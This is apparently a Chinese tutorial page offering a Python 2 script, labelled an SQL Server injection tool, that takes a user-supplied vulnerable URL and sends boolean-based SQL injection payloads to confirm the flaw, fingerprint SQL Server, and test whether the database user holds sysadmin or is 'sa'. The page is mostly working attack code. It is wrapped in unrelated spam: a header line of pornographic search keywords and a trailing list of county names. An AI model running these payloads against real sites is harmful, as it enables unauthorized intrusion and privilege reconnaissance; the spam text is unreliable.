最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Python編寫檢測數據庫SA用戶的方法

 更新時間:2014年07月11日 10:45:55   投稿:shichen2014  
這篇文章主要介紹了Python編寫檢測數據庫SA用戶的方法,需要的朋友可以參考下

本文講述一個用Python寫的小程序,用于有注入點的鏈接,以檢測當前數據庫用戶是否為sa,詳細代碼如下:

# Code by zhaoxiaobu Email: little.bu@hotmail.com  
#-*- coding: UTF-8 -*-  
from sys import exit  
from urllib import urlopen  
from string import join,strip  
from re import search  
 
def is_sqlable(): 
  sql1="%20and%201=2" 
  sql2="%20and%201=1" 
  urlfile1=urlopen(url+sql1) 
  urlfile2=urlopen(url+sql2) 
  htmlcodes1=urlfile1.read() 
  htmlcodes2=urlfile2.read() 
  if not search(judge,htmlcodes1) and search(judge,htmlcodes2): 
  print "[信息]恭喜!這個URL是有注入漏洞的!n" 
  print "[信息]現(xiàn)在判斷數據庫是否是SQL Server,請耐心等候....."  
  is_SQLServer() 
  else: 
  print "[錯誤]你確定這個URL能用?換個別的試試吧!n"

def is_SQLServer(): 
  sql = "%20and%20exists%20(select%20*%20from%20sysobjects)" 
  urlfile=urlopen(url+sql) 
  htmlcodes=urlfile.read() 
  if not search(judge,htmlcodes): 
  print "[錯誤]數據庫好像不是SQL Server的!n" 
  else: 
  print "[信息]確認是SQL Server數據庫!n" 
  print "[信息]開始檢測當前數據庫用戶權限,請耐心等待......" 
  is_sysadmin() 
 
 
def is_sysadmin():  
  sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))" 
  urlfile = urlopen(url+sql)  
  htmlcodes = urlfile.read()  
  if not search(judge,htmlcodes):  
    print "[錯誤]當前數據庫用戶不具有sysadmin權限!n" 
  else:  
    print "[信息]當前數據庫用戶具有sysadmin權限!n" 
    print "[信息]檢測當前用戶是不是SA,請耐心等待......" 
    is_sa()  
 
def is_sa():  
  sql = "%20and%20'sa'=(select%20System_user)"; 
  urlfile = urlopen(url+sql)  
  htmlcodes = urlfile.read()  
  if not search(judge,htmlcodes):  
    print "[錯誤]當前數據庫用戶不是SA!n" 
  else:  
    print "[信息]當前數據庫用戶是SA!n" 
 
print "n########################################################################n"  
print "            ^o^SQL Server注入利用工具^o^     "  
print "           Email: little.bu@hotmail.comn"  
print "========================================================================";  
url = raw_input('[信息]請輸入一個可能有注入漏洞的鏈接!nURL:')  
if url == '':  
  print "[錯誤]提供的URL必須具有 '.asp?xxx=' 這樣的格式"  
  exit(1)  
 
judge = raw_input("[信息]請?zhí)峁┮粋€判斷字符串.n判斷字符串:")  
if judge == '':  
  print "[錯誤]判斷字符串不能為空!"  
  exit(1)  
 
is_sqlable()

相關文章

  • matplotlib 使用 plt.savefig() 輸出圖片去除旁邊的空白區(qū)域

    matplotlib 使用 plt.savefig() 輸出圖片去除旁邊的空白區(qū)域

    這篇文章主要介紹了matplotlib 使用 plt.savefig() 輸出圖片去除旁邊的空白區(qū)域,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧
    2021-01-01
  • 使用IDLE的Python shell窗口實例詳解

    使用IDLE的Python shell窗口實例詳解

    在本篇文章里小編給各位整理的是關于使用IDLE的Python shell窗口實例詳解內容,有興趣的朋友們學習下。
    2019-11-11
  • 解決Python print輸出不換行沒空格的問題

    解決Python print輸出不換行沒空格的問題

    今天小編就為大家分享一篇解決Python print輸出不換行沒空格的問題,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2018-11-11
  • python 在指定范圍內隨機生成不重復的n個數實例

    python 在指定范圍內隨機生成不重復的n個數實例

    今天小編就為大家分享一篇python 在指定范圍內隨機生成不重復的n個數實例,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2019-01-01
  • Python 網頁解析HTMLParse的實例詳解

    Python 網頁解析HTMLParse的實例詳解

    這篇文章主要介紹了Python 網頁解析HTMLParse的實例詳解的相關資料,python里提供了一個簡單的解析模塊HTMLParser類,使用起來也是比較簡單的,解析語法沒有用到XPath類似的簡潔模式,需要的朋友可以參考下
    2017-08-08
  • 教你編譯pjsip源碼的方法

    教你編譯pjsip源碼的方法

    通過本文教大家如何編譯pjsip源碼,本文通過圖文并茂的形式給大家介紹的非常詳細,對大家的學習或工作具有一定的參考借鑒價值,需要的朋友參考下吧
    2021-10-10
  • python模擬登陸、POST/GET請求方式

    python模擬登陸、POST/GET請求方式

    這篇文章主要介紹了python模擬登陸、POST/GET請求方式,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教
    2024-02-02
  • Pytorch中關于model.eval()的作用及分析

    Pytorch中關于model.eval()的作用及分析

    這篇文章主要介紹了Pytorch中關于model.eval()的作用及分析,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教
    2023-02-02
  • python sort、sorted高級排序技巧

    python sort、sorted高級排序技巧

    這篇文章主要介紹了python sort、sorted高級排序技巧,本文講解了基礎排序、升序和降序、排序的穩(wěn)定性和復雜排序、cmp函數排序法等內容,需要的朋友可以參考下
    2014-11-11
  • python之擬合的實現(xiàn)

    python之擬合的實現(xiàn)

    這篇文章主要介紹了python之擬合的實現(xiàn),文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧
    2019-07-07

最新評論

平度市| 赫章县| 修文县| 大悟县| 琼海市| 丹江口市| 屏东县| 盐城市| 临沂市| 龙陵县| 花莲市| 吉隆县| 金乡县| 襄城县| 丹东市| 沈丘县| 黄骅市| 门源| 民丰县| 乌拉特前旗| 客服| 沙坪坝区| 雷波县| 马尔康县| 平湖市| 梅州市| 普安县| 镇雄县| 陵川县| 商河县| 马关县| 茶陵县| 佛学| 会昌县| 若尔盖县| 兴山县| 萨迦县| 育儿| 剑河县| 唐海县| 老河口市|